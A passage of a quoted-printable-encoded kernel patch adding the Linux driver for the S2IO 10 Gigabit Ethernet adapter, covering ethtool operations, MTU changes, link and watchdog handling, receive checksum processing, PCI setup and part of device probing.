stat_info->rmac_long_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_pause_ctrl_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_discarded_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_usized_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_osized_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_frag_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_jabber_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_ip;=0A= + tmp_stats[i++] =3D stat_info->rmac_ip_octets;=0A= + tmp_stats[i++] =3D stat_info->rmac_hdr_err_ip;=0A= + tmp_stats[i++] =3D stat_info->rmac_drop_ip;=0A= + tmp_stats[i++] =3D stat_info->rmac_icmp;=0A= + tmp_stats[i++] =3D stat_info->rmac_tcp;=0A= + tmp_stats[i++] =3D stat_info->rmac_udp;=0A= + tmp_stats[i++] =3D stat_info->rmac_err_drp_udp;=0A= + tmp_stats[i++] =3D stat_info->rmac_pause_cnt;=0A= + tmp_stats[i++] =3D stat_info->rmac_accepted_ip;=0A= + tmp_stats[i++] =3D stat_info->rmac_err_tcp;=0A= +}=0A= +=0A= +int s2io_ethtool_get_regs_len(struct net_device *dev)=0A= +{=0A= + return (XENA_REG_SPACE);=0A= +}=0A= +=0A= +=0A= +u32 s2io_ethtool_get_rx_csum(struct net_device * dev)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + return (sp->rx_csum);=0A= +}=0A= +int s2io_ethtool_set_rx_csum(struct net_device *dev, u32 data)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + if (data)=0A= + sp->rx_csum =3D 1;=0A= + else=0A= + sp->rx_csum =3D 0;=0A= +=0A= + return 0;=0A= +}=0A= +int s2io_get_eeprom_len(struct net_device *dev)=0A= +{=0A= + return (XENA_EEPROM_SPACE);=0A= +}=0A= +=0A= +int s2io_ethtool_self_test_count(struct net_device *dev)=0A= +{=0A= + return (S2IO_TEST_LEN);=0A= +}=0A= +void s2io_ethtool_get_strings(struct net_device *dev,=0A= + u32 stringset, u8 * data)=0A= +{=0A= + switch (stringset) {=0A= + case ETH_SS_TEST:=0A= + memcpy(data, s2io_gstrings, S2IO_STRINGS_LEN);=0A= + break;=0A= + case ETH_SS_STATS:=0A= + memcpy(data, ðtool_stats_keys,=0A= + sizeof(ethtool_stats_keys));=0A= + }=0A= +}=0A= +static int s2io_ethtool_get_stats_count(struct net_device *dev)=0A= +{=0A= + return (S2IO_STAT_LEN);=0A= +}=0A= +=0A= +static struct ethtool_ops netdev_ethtool_ops =3D {=0A= + .get_settings =3D s2io_ethtool_gset,=0A= + .set_settings =3D s2io_ethtool_sset,=0A= + .get_drvinfo =3D s2io_ethtool_gdrvinfo,=0A= + .get_regs_len =3D s2io_ethtool_get_regs_len,=0A= + .get_regs =3D s2io_ethtool_gregs,=0A= + .get_link =3D ethtool_op_get_link,=0A= + .get_eeprom_len =3D s2io_get_eeprom_len,=0A= + .get_eeprom =3D s2io_ethtool_geeprom,=0A= + .set_eeprom =3D s2io_ethtool_seeprom,=0A= + .get_pauseparam =3D s2io_ethtool_getpause_data,=0A= + .set_pauseparam =3D s2io_ethtool_setpause_data,=0A= + .get_rx_csum =3D s2io_ethtool_get_rx_csum,=0A= + .set_rx_csum =3D s2io_ethtool_set_rx_csum,=0A= + .get_tx_csum =3D ethtool_op_get_tx_csum,=0A= + .set_tx_csum =3D ethtool_op_set_tx_csum,=0A= + .get_sg =3D ethtool_op_get_sg,=0A= + .set_sg =3D ethtool_op_set_sg,=0A= +#ifdef NETIF_F_TSO=0A= + .get_tso =3D ethtool_op_get_tso,=0A= + .set_tso =3D ethtool_op_set_tso,=0A= +#endif=0A= + .self_test_count =3D s2io_ethtool_self_test_count,=0A= + .self_test =3D s2io_ethtool_test,=0A= + .get_strings =3D s2io_ethtool_get_strings,=0A= + .phys_id =3D s2io_ethtool_idnic,=0A= + .get_stats_count =3D s2io_ethtool_get_stats_count,=0A= + .get_ethtool_stats =3D s2io_get_ethtool_stats=0A= +};=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - Device pointer.=0A= + * ifr - An IOCTL specefic structure, that can contain a pointer to=0A= + * a proprietary structure used to pass information to the driver.=0A= + * cmd - This is used to distinguish between the different commands = that=0A= + * can be passed to the IOCTL functions.=0A= + * Return value:=0A= + * '0' on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This function has support for ethtool, adding multiple MAC = addresses on =0A= + * the NIC and some DBG commands for the util tool.=0A= + */=0A= +int s2io_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)=0A= +{=0A= + return -EOPNOTSUPP;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - device pointer.=0A= + * new_mtu - the new MTU size for the device.=0A= + * Return value:=0A= + * '0' on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * A driver entry point to change MTU size for the device. Before = changing=0A= + * the MTU the device must be stopped.=0A= + */=0A= +int s2io_change_mtu(struct net_device *dev, int new_mtu)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + register u64 val64;=0A= +=0A= + if (netif_running(dev)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Must be stopped to ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "change its MTU \n");=0A= + return -EBUSY;=0A= + }=0A= +=0A= + if ((new_mtu < MIN_MTU) || (new_mtu > S2IO_JUMBO_SIZE)) {=0A= + DBG_PRINT(ERR_DBG, "%s: MTU size is invalid.\n",=0A= + dev->name);=0A= + return -EPERM;=0A= + }=0A= +=0A= +/* Set the new MTU into the PYLD register of the NIC */=0A= + val64 =3D new_mtu;=0A= + writeq(vBIT(val64, 2, 14), &bar0->rmac_max_pyld_len);=0A= +=0A= + dev->mtu =3D new_mtu;=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev_adr - address of the device structure in dma_addr_t format.=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * This is the tasklet or the bottom half of the ISR. This is=0A= + * an extension of the ISR which is scheduled by the scheduler to be = run =0A= + * when the load on the CPU is low. All low priority tasks of the ISR = can=0A= + * be pushed into the tasklet. For now the tasklet is used only to =0A= + * replenish the Rx buffers in the Rx buffer descriptors.=0A= + */=0A= +static void s2io_tasklet(unsigned long dev_addr)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) dev_addr;=0A= + nic_t *sp =3D dev->priv;=0A= + int i, ret;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + if (!TASKLET_IN_USE) {=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + ret =3D fill_rx_buffers(sp, i);=0A= + if (ret =3D=3D -ENOMEM) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "memory in tasklet\n");=0A= + return;=0A= + } else if (ret =3D=3D -EFILL) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: Rx Ring %d is full\n",=0A= + dev->name, i);=0A= + return;=0A= + }=0A= + }=0A= + clear_bit(0, (unsigned long *) (&sp->tasklet_status));=0A= + }=0A= +}=0A= +=0A= +=0A= +/*=0A= + * Description:=0A= + * =0A= + */=0A= +static void s2io_set_link(unsigned long data)=0A= +{=0A= + nic_t *nic =3D (nic_t *) data;=0A= + struct net_device *dev =3D nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + register u64 val64, err_reg;=0A= +=0A= + /* Allow a small delay for the NICs self initiated =0A= + * cleanup to complete.=0A= + */=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 10);=0A= +=0A= + val64 =3D readq(&bar0->adapter_status);=0A= + if (verify_xena_quiescence(val64, nic->device_enabled_once)) {=0A= + /* Acknowledge interrupt and clear the R1 register */=0A= + err_reg =3D readq(&bar0->mac_rmac_err_reg);=0A= + writeq(err_reg, &bar0->mac_rmac_err_reg);=0A= +=0A= + if (LINK_IS_UP(val64)) {=0A= + val64 =3D readq(&bar0->adapter_control);=0A= + val64 |=3D ADAPTER_CNTL_EN;=0A= + writeq(val64, &bar0->adapter_control);=0A= + val64 |=3D ADAPTER_LED_ON;=0A= + writeq(val64, &bar0->adapter_control);=0A= + val64 =3D readq(&bar0->adapter_status);=0A= + if (!LINK_IS_UP(val64)) {=0A= + DBG_PRINT(ERR_DBG, "%s:", dev->name);=0A= + DBG_PRINT(ERR_DBG, " Link down");=0A= + DBG_PRINT(ERR_DBG, "after ");=0A= + DBG_PRINT(ERR_DBG, "enabling ");=0A= + DBG_PRINT(ERR_DBG, "device \n");=0A= + }=0A= + if (nic->device_enabled_once =3D=3D FALSE) {=0A= + nic->device_enabled_once =3D TRUE;=0A= + }=0A= + s2io_link(nic, LINK_UP);=0A= + } else {=0A= + s2io_link(nic, LINK_DOWN);=0A= + }=0A= + } else { /* NIC is not Quiescent. */=0A= + DBG_PRINT(ERR_DBG, "%s: Error: ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "device is not Quiescent\n");=0A= + netif_stop_queue(dev);=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Description:=0A= + * This function is scheduled to be run by the s2io_tx_watchdog=0A= + * function after 0.5 secs to reset the NIC. The idea is to reduce =0A= + * the run time of the watch dog routine which is run holding a=0A= + * spin lock.=0A= + */=0A= +static void s2io_restart_nic(unsigned long data)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) data;=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + s2io_close(dev);=0A= + sp->device_close_flag =3D TRUE;=0A= + s2io_open(dev);=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: was reset by Tx watchdog timer.\n", dev->name);=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - device pointer.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * This function is triggered if the Tx Queue is stopped=0A= + * for a pre-defined amount of time when the Interface is still up.=0A= + * If the Interface is jammed in such a situation, the hardware is=0A= + * reset (by s2io_close) and restarted again (by s2io_open) to=0A= + * overcome any problem that might have been caused in the hardware.=0A= + */=0A= +static void s2io_tx_watchdog(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + if (netif_carrier_ok(dev)) {=0A= + schedule_work(&sp->rst_timer_task);=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * skb - the socket buffer pointer.=0A= + * len - length of the packet=0A= + * cksum - FCS checksum of the frame.=0A= + * ring_no - the ring from which this RxD was extracted.=0A= + * Return value:=0A= + * SUCCESS on success and -1 on failure.=0A= + * Description: =0A= + * This function is called by the Tx interrupt serivce routine to = perform =0A= + * some OS related operations on the SKB before passing it to the = upper=0A= + * layers. It mainly checks if the checksum is OK, if so adds it to = the=0A= + * SKBs cksum variable, increments the Rx packet count and passes the = SKB=0A= + * to the upper layer. If the checksum is wrong, it increments the Rx=0A= + * packet error count, frees the SKB and returns error.=0A= + */=0A= +static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) sp->dev;=0A= + struct sk_buff *skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->Host_Control);=0A= + u16 l3_csum, l4_csum;=0A= +=0A= + l3_csum =3D RXD_GET_L3_CKSUM(rxdp->Control_1);=0A= + if ((rxdp->Control_1 & TCP_OR_UDP_FRAME) && (sp->rx_csum)) {=0A= + l4_csum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= + if ((l3_csum =3D=3D L3_CKSUM_OK) && (l4_csum =3D=3D L4_CKSUM_OK)) {=0A= + /* NIC verifies if the Checksum of the received=0A= + * frame is Ok or not and accordingly returns=0A= + * a flag in the RxD.=0A= + */=0A= + skb->ip_summed =3D CHECKSUM_UNNECESSARY;=0A= + } else {=0A= + /* =0A= + * Packet with erroneous checksum, let the =0A= + * upper layers deal with it.=0A= + */=0A= + skb->ip_summed =3D CHECKSUM_NONE;=0A= + }=0A= + } else {=0A= + skb->ip_summed =3D CHECKSUM_NONE;=0A= + }=0A= +=0A= + skb->dev =3D dev;=0A= + skb_put(skb, len);=0A= + skb->protocol =3D eth_type_trans(skb, dev);=0A= +=0A= +#ifdef CONFIG_S2IO_NAPI=0A= + netif_receive_skb(skb);=0A= +#else=0A= + netif_rx(skb);=0A= +#endif=0A= +=0A= + dev->last_rx =3D jiffies;=0A= +#if DEBUG_ON=0A= + sp->rxpkt_cnt++;=0A= +#endif=0A= + sp->rx_pkt_count++;=0A= + sp->stats.rx_packets++;=0A= + sp->stats.rx_bytes +=3D len;=0A= + sp->rxpkt_bytes +=3D len;=0A= +=0A= + atomic_dec(&sp->rx_bufs_left[ring_no]);=0A= + rxdp->Host_Control =3D 0;=0A= + return SUCCESS;=0A= +}=0A= +=0A= +int check_for_txSpace(nic_t * sp)=0A= +{=0A= + u32 put_off, get_off, queue_len;=0A= + int ret =3D TRUE, i;=0A= +=0A= + for (i =3D 0; i < sp->config.TxFIFONum; i++) {=0A= + queue_len =3D sp->mac_control.tx_curr_put_info[i].fifo_len=0A= + + 1;=0A= + put_off =3D sp->mac_control.tx_curr_put_info[i].offset;=0A= + get_off =3D sp->mac_control.tx_curr_get_info[i].offset;=0A= + if (((put_off + 1) % queue_len) =3D=3D get_off) {=0A= + ret =3D FALSE;=0A= + break;=0A= + }=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* sp - private member of the device structure, which is a pointer to = the =0A= +* s2io_nic structure.=0A= +* link - inidicates whether link is UP/DOWN.=0A= +* Return value:=0A= +* void.=0A= +* Description:=0A= +* This function stops/starts the Tx queue depending on whether the = link=0A= +* status of the NIC is is down or up. This is called by the Alarm = interrupt =0A= +* handler whenever a link change interrupt comes up. =0A= +*/=0A= +void s2io_link(nic_t * sp, int link)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) sp->dev;=0A= +=0A= + if (link !=3D sp->last_link_state) {=0A= + if (link =3D=3D LINK_DOWN) {=0A= + DBG_PRINT(ERR_DBG, "%s: Link down\n", dev->name);=0A= + netif_carrier_off(dev);=0A= + netif_stop_queue(dev);=0A= + } else {=0A= + DBG_PRINT(ERR_DBG, "%s: Link Up\n", dev->name);=0A= + netif_carrier_on(dev);=0A= + if (check_for_txSpace(sp) =3D=3D TRUE) {=0A= + /* Don't wake the queue, if we know there=0A= + * are no free TxDs available.=0A= + */=0A= + netif_wake_queue(dev);=0A= + }=0A= + }=0A= + }=0A= + sp->last_link_state =3D link;=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* pdev - structure containing the PCI related information of the = device.=0A= +* Return value:=0A= +* returns the revision ID of the device.=0A= +* Description:=0A= +* Function to identify the Revision ID of xena.=0A= +*/=0A= +int get_xena_rev_id(struct pci_dev *pdev)=0A= +{=0A= + u8 id =3D 0;=0A= + int ret;=0A= + ret =3D pci_read_config_byte(pdev, PCI_REVISION_ID, (u8 *) & id);=0A= + return id;=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* sp - private member of the device structure, which is a pointer to = the =0A= +* s2io_nic structure.=0A= +* Return value:=0A= +* void=0A= +* Description:=0A= +* This function initializes a few of the PCI and PCI-X configuration = registers=0A= +* with recommended values.=0A= +*/=0A= +static void s2io_init_pci(nic_t * sp)=0A= +{=0A= + u16 pci_cmd =3D 0;=0A= +=0A= +/* Enable Data Parity Error Recovery in PCI-X command register. */=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + (sp->pcix_cmd | 1));=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= +=0A= +/* Set the PErr Response bit in PCI command register. */=0A= + pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= + pci_write_config_word(sp->pdev, PCI_COMMAND,=0A= + (pci_cmd | PCI_COMMAND_PARITY));=0A= + pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= +=0A= +/* Set user specified value in Latency Timer */=0A= + if (latency_timer) {=0A= + pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + latency_timer);=0A= + pci_read_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + &latency_timer);=0A= + }=0A= +=0A= +/* Set MMRB count to 4096 in PCI-X Command register. */=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + (sp->pcix_cmd | 0x0C));=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= +=0A= +/* Setting Maximum outstanding splits to two for now. */=0A= + sp->pcix_cmd &=3D 0xFF1F;=0A= +=0A= + sp->pcix_cmd |=3D=0A= + XENA_MAX_OUTSTANDING_SPLITS(XENA_TWO_SPLIT_TRANSACTION);=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + sp->pcix_cmd);=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= +=0A= +}=0A= +=0A= +MODULE_AUTHOR("Raghavendra Koushik ");=0A= +MODULE_LICENSE("GPL");=0A= +MODULE_PARM(ring_num, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(frame_len, "1-" __MODULE_STRING(8) "i");=0A= +MODULE_PARM(ring_len, "1-" __MODULE_STRING(8) "i");=0A= +MODULE_PARM(fifo_num, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(fifo_len, "1-" __MODULE_STRING(8) "i");=0A= +MODULE_PARM(rx_prio, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(tx_prio, "1-" __MODULE_STRING(1) "i");=0A= +MODULE_PARM(latency_timer, "1-" __MODULE_STRING(1) "i");=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* pdev - structure containing the PCI related information of the = device.=0A= +* pre - the List of PCI devices supported by the driver listed in = s2io_tbl.=0A= +* Return value:=0A= +* returns '0' on success and negative on failure.=0A= +* Description:=0A= +* The function initializes an adapter identified by the pci_dec = structure.=0A= +* All OS related initialization including memory and device structure = and =0A= +* initlaization of the device private variable is done. Also the = swapper =0A= +* control register is initialized to enable read and write into the = I/O =0A= +* registers of the device.=0A= +* =0A= +*/=0A= +static int __devinit=0A= +s2io_init_nic(struct pci_dev *pdev, const struct pci_device_id *pre)=0A= +{=0A= + nic_t *sp;=0A= + struct net_device *dev;=0A= + char *dev_name =3D "S2IO 10GE NIC";=0A= + int i, j, ret;=0A= + int dma_flag =3D FALSE;=0A= + u32 mac_up, mac_down;=0A= + u64 val64 =3D 0, tmp64 =3D 0;=0A= + XENA_dev_config_t *bar0 =3D NULL;=0A= + u16 subid;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= +=0A= + if ((ret =3D pci_enable_device(pdev))) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "s2io_init_nic: pci_enable_device failed\n");=0A= + return ret;=0A= + }=0A= +=0A= + if (!pci_set_dma_mask(pdev, 0xffffffffffffffffULL)) {=0A= + DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 64bit DMA\n");=0A= + dma_flag =3D TRUE;=0A= + if (pci_set_consistent_dma_mask=0A= + (pdev, 0xffffffffffffffffULL)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "Unable to obtain 64bit DMA for \=0A= + consistent allocations\n");=0A= + pci_disable_device(pdev);=0A= + return -ENOMEM;=0A= + }=0A= + } else if (!pci_set_dma_mask(pdev, 0xffffffffUL)) {=0A= + DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 32bit DMA\n");=0A= + } else {=0A= + pci_disable_device(pdev);=0A= + return -ENOMEM;=0A= + }=0A= +=0A= + if (pci_request_regions(pdev, s2io_driver_name)) {=0A= + DBG_PRINT(ERR_DBG, "Request Regions failed\n"),=0A= + pci_disable_device(pdev);=0A= + return -ENODEV;=0A= + }=0A= +=0A= + dev =3D alloc_etherdev(sizeof(nic_t));=0A= + if (dev =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "Device allocation failed\n");=0A= + pci_disable_device(pdev);=0A= + pci_release_regions(pdev);=0A= + return -ENODEV;=0A= + }=0A= +=0A= + pci_set_master(pdev);=0A= + pci_set_drvdata(pdev, dev);=0A= + SET_MODULE_OWNER(dev);=0A= + SET_NETDEV_DEV(dev, &pdev->dev);=0A= +=0A= + /* Private member variable initialized to s2io NIC structure */=0A= + sp =3D dev->priv;=0A= + memset(sp, 0, sizeof(nic_t));=0A= + sp->dev =3D dev;=0A= + sp->pdev =3D pdev;=0A= + sp->vendor_id =3D pdev->vendor;=0A= + sp->device_id =3D pdev->device;=0A= + sp->high_dma_flag =3D dma_flag;=0A= + sp->irq =3D pdev->irq;=0A= + sp->device_enabled_once =3D FALSE;=0A= + strcpy(sp->name, dev_name);=0A= +=0A= + /* Initialize some PCI/PCI-X fields of the NIC. */=0A= + s2io_init_pci(sp);=0A= +=0A= + /* Setting the device configuration parameters.=0A= + * Most of these parameters can be specified by the user during =0A= + * module insertion as they are module loadable parameters. If =0A= + * these parameters are not not specified during load time, they =0A= + * are initialized with default values.=0A= + */=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + /* Tx side parameters. */=0A= + config->TxFIFONum =3D fifo_num ? fifo_num : 1;=0A= +=0A= + if (!fifo_len[0] && (fifo_num > 1)) {=0A= + printk(KERN_ERR "Fifo Lens not specified for all FIFOs\n");=0A= + goto init_failed;=0A= + }=0A= +=0A= + if (fifo_len[0]) {=0A= + int cnt;=0A= +=0A= + for (cnt =3D 0; fifo_len[cnt]; cnt++);=0A= + if (fifo_num) {=0A= + if (cnt < fifo_num) {=0A= + printk(KERN_ERR=0A= + "Fifo Lens not specified for ");=0A= + printk(KERN_ERR "all FIFOs\n");=0A= + goto init_failed;=0A= + }=0A= + }=0A= + for (cnt =3D 0; cnt < config->TxFIFONum; cnt++) {=0A= + config->TxCfg[cnt].FifoLen =3D fifo_len[cnt];=0A= + config->TxCfg[cnt].FifoPriority =3D cnt;=0A= + }=0A= + } else {=0A= + config->TxCfg[0].FifoLen =3D DEFAULT_FIFO_LEN;=0A= + config->TxCfg[0].FifoPriority =3D 0;=0A= + }=0A= +=0A= + config->TxIntrType =3D TXD_INT_TYPE_UTILZ;=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + if (config->TxCfg[i].FifoLen < 65) {=0A= + config->TxIntrType =3D TXD_INT_TYPE_PER_LIST;=0A= + break;=0A= + }=0A= + }=0A= +=0A= + config->TxCfg[0].fNoSnoop =3D (NO_SNOOP_TXD | NO_SNOOP_TXD_BUFFER);=0A= + config->MaxTxDs =3D MAX_SKB_FRAGS;=0A= + config->TxFlow =3D TRUE;=0A= +=0A= + /* Rx side parameters. */=0A= + config->RxRingNum =3D ring_num ? ring_num : 1;=0A= +=0A= + if (ring_len[0]) {=0A= + int cnt;=0A= + for (cnt =3D 0; cnt < config->RxRingNum; cnt++) {=0A= + config->RxCfg[cnt].NumRxd =3D ring_len[cnt];=0A= + config->RxCfg[cnt].RingPriority =3D cnt;=0A= + }=0A= + } else {=0A= + int id;=0A= + if ((id =3D get_xena_rev_id(pdev)) =3D=3D 1) {=0A= + config->RxCfg[0].NumRxd =3D LARGE_RXD_CNT;=0A= +=0A= + } else {=0A= + config->RxCfg[0].NumRxd =3D SMALL_RXD_CNT;=0A= + }=0A= + config->RxCfg[0].RingPriority =3D 0;=0A= + }=0A= + config->RxCfg[0].RingOrg =3D RING_ORG_BUFF1;=0A= + config->RxCfg[0].RxdThresh =3D DEFAULT_RXD_THRESHOLD;=0A= + config->RxCfg[0].fNoSnoop =3D (NO_SNOOP_RXD | NO_SNOOP_RXD_BUFFER);=0A= + config->RxCfg[0].RxD_BackOff_Interval =3D TBD;=0A= + config->RxFlow =3D TRUE;=0A= +=0A= + /* Miscellaneous parameters. */=0A= + config->RxVLANEnable =3D TRUE;=0A= + config->MTU =3D MAX_MTU_VLAN;=0A= + config->JumboEnable =3D FALSE;=0A= +=0A= + /* Setting Mac Control parameters */=0A= + mac_control->txdl_len =3D MAX_SKB_FRAGS;=0A= + mac_control->rmac_pause_time =3D 0;=0A= +=0A= + /* Initialize Ring buffer parameters. */=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= + atomic_set(&sp->rx_bufs_left[i], 0);=0A= +=0A= + /* initialize the shared memory used by the NIC and the host */=0A= + if (initSharedMem(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Memory allocation failed\n",=0A= + dev->name);=0A= + goto mem_alloc_failed;=0A= + }=0A= +=0A= + sp->bar0 =3D (caddr_t) ioremap(pci_resource_start(pdev, 0),=0A= + pci_resource_len(pdev, 0));=0A= + if (!sp->bar0) {=0A= + DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem1\n",=0A= + dev->name);=0A= + goto bar0_remap_failed;=0A= + }=0A= +=0A= + sp->bar1 =3D (caddr_t) ioremap(pci_resource_start(pdev, 2),=0A= + pci_resource_len(pdev, 2));=0A= + if (!sp->bar1) {=0A= + DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem2\n",=0A= + dev->name);=0A= + goto bar1_remap_failed;=0A= + }=0A= +=0A= + dev->irq =3D pdev->irq;=0A= + dev->base_addr =3D (unsigned long) sp->bar0;=0A= +=0A= + /* Initializing the BAR1 address as the start of the FIFO pointer. */=0A= + for (j =3D 0; j < MAX_TX_FIFOS; j++) {=0A= + mac_control->tx_FIFO_start[j] =3D (TxFIFO_element_t *)=0A= + (sp->bar1 + (j * 0x00020000));=0A= + }=0A= +=0A= + /* Driver entry points */=0A= + dev->open =3D &s2io_open;=0A= + dev->stop =3D &s2io_close;=0A= + dev->hard_start_xmit =3D &s2io_xmit;=0A= + dev->get_stats =3D &s2io_get_stats;=0A= + dev->set_multicast_list =3D &s2io_set_multicast;=0A= + dev->do_ioctl =3D &s2io_ioctl;=0A= + dev->change_mtu =3D &s2io_change_mtu;=0A= + SET_ETHTOOL_OPS(dev, &netdev_ethtool_ops);=0A= +=0A= + /*=0A= + * will use eth_mac_addr() for dev->set_mac_address=0A= + * mac address will be set every time dev->open() is called=0A= + */=0A= +#ifdef CONFIG_S2IO_NAPI=0A= + dev->poll =3D s2io_poll;=0A= + dev->weight =3D 128; /* For now. */=0A= +#endif=0A= +=0A= + dev->features |=3D NETIF_F_SG | NETIF_F_IP_CSUM;=0A= + if (sp->high_dma_flag =3D=3D TRUE)=0A= + dev->features |=3D NETIF_F_HIGHDMA;=0A= +#ifdef NETIF_F_TSO=0A= + dev->features |=3D NETIF_F_TSO;=0A= +#endif=0A= +=0A= + dev->tx_timeout =3D &s2io_tx_watchdog;=0A= + dev->watchdog_timeo =3D WATCH_DOG_TIMEOUT;=0A= + INIT_WORK(&sp->rst_timer_task,=0A= + (void (*)(void *)) s2io_restart_nic, dev);=0A= + INIT_WORK(&sp->set_link_task,=0A= + (void (*)(void *)) s2io_set_link, sp);=0A= +=0A= + if (register_netdev(dev)) {=0A= + DBG_PRINT(ERR_DBG, "Device registration failed\n");=0A= + goto register_failed;=0A= + }=0A= +=0A= + pci_save_state(sp->pdev, sp->config_space);=0A= +=0A= + /* Setting swapper control on the NIC, for proper reset operation */=0A= + if (s2io_set_swapper(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s:swapper settings are wrong\n",=0A= + dev->name);=0A= + goto set_swap_failed;=0A= + }=0A= +=0A= + /* Fix for all "FFs" MAC address problems observed on Alpha platforms = */=0A= + FixMacAddress(sp);=0A= + s2io_reset(sp);=0A= +=0A= + /* Setting swapper control on the NIC, so the MAC address can be read.=0A= + */=0A= + if (s2io_set_swapper(sp)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: S2IO: swapper settings are wrong\n",=0A= + dev->name);=0A= + goto set_swap_failed;=0A= + }=0A= +=0A= + /* MAC address initialization.=0A= + * For now only one mac address will be read and used.=0A= + */=0A= + bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + val64 =3D RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(0 + MAC_MAC_ADDR_START_OFFSET);=0A= + writeq(val64, &bar0->rmac_addr_cmd_mem);=0A= + waitForCmdComplete(sp);=0A= +=0A= + tmp64 =3D readq(&bar0->rmac_addr_data0_mem);=0A= + mac_down =3D (u32) tmp64;=0A= + mac_up =3D (u32) (tmp64 >> 32);=0A= +=0A= + memset(sp->defMacAddr[0].mac_addr, 0, sizeof(ETH_ALEN));=0A= +=0A= + sp->defMacAddr[0].mac_addr[3] =3D (u8) (mac_up);=0A= + sp->defMacAddr[0].mac_addr[2] =3D (u8) (mac_up >> 8);=0A= + sp->defMacAddr[0].mac_addr[1] =3D (u8) (mac_up >> 16);=0A= + sp->defMacAddr[0].mac_addr[0] =3D (u8) (mac_up >> 24);=0A= + sp->defMacAddr[0].mac_addr[5] =3D (u8) (mac_down >> 